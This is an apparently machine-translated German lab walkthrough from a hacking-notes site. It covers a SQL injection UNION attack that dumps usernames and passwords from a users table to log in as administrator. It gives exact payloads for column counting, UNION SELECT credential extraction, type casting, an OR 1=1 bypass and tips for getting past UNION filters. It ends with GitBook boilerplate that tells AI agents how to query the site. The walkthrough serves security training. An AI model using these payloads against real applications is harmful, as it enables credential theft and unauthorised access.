> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/sql-injection/union-attack-retrieving-data-from-other-tables.md).

# UNION-Angriff zum Extrahieren von Daten aus anderen Tabellen

### SQL-Injection-UNION-Angriff, Abrufen von Daten aus anderen Tabellen

**Hintergrund:** `Kategorie` Filter anfällig für Injection; Die Antwort erzeugt SQL-Ergebnisse, also ein `UNION SELECT` ermöglicht das Einschleusen und Anzeigen von Zeilen aus anderen Tabellen.

**Laborziel:** alle wiederherstellen `Benutzernamen` / `Passwort` aus der `users` Tabelle und sich dann anmelden als `Administrator`.

#### Schritte (Reihenfolge, genaue Nutzlasten)

1. **Anzahl der Spalten bestimmen** (falls unbekannt):

   ```sql
   ' ORDER BY 1-- -
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

Wenn `ORDER BY N` verursacht einen Fehler, die Anzahl der Spalten < N. 2. **Validieren `UNION`** (gleiche Anzahl von Spalten wie die ursprüngliche Anfrage): / Beispiel, wenn die Abfrage 2 Spalten zurückgibt:

````
```sql
' UNION SELECT '1','2'-- -
```
````

oder mit `NULL` für nicht relevante Spalten:

````
```sql
' UNION SELECT NULL, NULL-- -
```
````

3\. **Extrahieren `Benutzernamen` / `Passwort`** (Anzahl/Reihenfolge der Spalten anpassen): / Wenn die ursprüngliche Anfrage **2 Spalten**:

````
```sql
' UNION SELECT username, password FROM users-- -
```
````

Wenn sie **3 Spalten**, platzieren Sie `NULL` für die ungenutzte Spalte, z. B. (Text in zweiter Position):

````
```sql
' UNION SELECT NULL, username, password FROM users-- -
```
````

— Wenn die Typen inkompatibel sind: verwenden Sie `CAST`/`TO_CHAR` oder `NULL` um die Kompatibilität zu erzwingen:

````
```sql
' UNION SELECT CAST(username AS CHAR), CAST(password AS CHAR) FROM users-- -
```
````

4\. **Ausgabe prüfen** — die Antwort muss enthalten `Benutzernamen`/`Passwort` Paare.

* Finden Sie die `Administrator` Zeile und notieren Sie ihr Passwort.
* Verwenden Sie diese Zugangsdaten auf der Anmeldeseite.

5. **Alternative (falls Exfiltration fehlschlägt)** — umgehen d

   ```sql
   ' OR 1=1-- -
   ```

(weniger Beweise als der Dump; bevorzugen Sie Exfiltration, wenn möglich.)

#### Technische Details

* Verwenden Sie separate Konstanten (oder `NULL`) um zu identifizieren, welche Spalten angezeigt werden.
* Oracle: Namen in GROSSBUCHSTABEN, wenn nicht in Anführungszeichen; kann erfordern `TO_CHAR`.
* MSSQL/MySQL/Postgres: `CAST`/`CONVERT`/`::text` wenn die Typen unterschiedlich sind.
* Wenn `UNION` blockiert, testen Sie Änderungen bei Abständen/Kommentaren oder Funktionen, um die Kette neu aufzubauen (`CONCAT`, `CHR`/`CHAR`).

#### Zusammenfassung der Auswirkungen

* Zugangsdaten (Administrator), Anwendungssteuerung, Datenexfiltration/-veränderung.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/sql-injection/union-attack-retrieving-data-from-other-tables.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
